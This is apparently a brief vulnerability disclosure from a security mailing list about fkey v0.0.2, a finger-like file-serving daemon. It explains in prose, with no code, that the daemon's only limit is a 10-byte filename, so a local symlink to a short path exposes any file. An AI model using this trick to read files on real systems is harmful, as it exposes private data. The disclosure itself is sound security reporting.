fkey[v0.0.2]: local/remote file accessibility exploit.

[Vade 79 <v9@xxxxxxxxxxxxxxxxxxxx>]

nothing major, just killing some time and strolled across this project on 
freshmeat.

 *  fkey is a finger-like daemon for accessing remote files *
 *  in a specified directory.  there is no limitations      *
 *  placed on the file acessing other than it must be a     *
 *  filename/path equal to 10 or less bytes.  this limits   *
 *  the remote possibilities somewhat, but symlinking to a  *
 *  short path(ie. /tmp/file) locally can access anything.  *
 *  (this exploits locally)                                 *
 *                                                          *
 * note:                                                    *
 *  this is pretty low-risk due to the fact that the        *
 *  program isn't very common, just browsing freshmeat.net  *
 *  and killing some time.                                  *
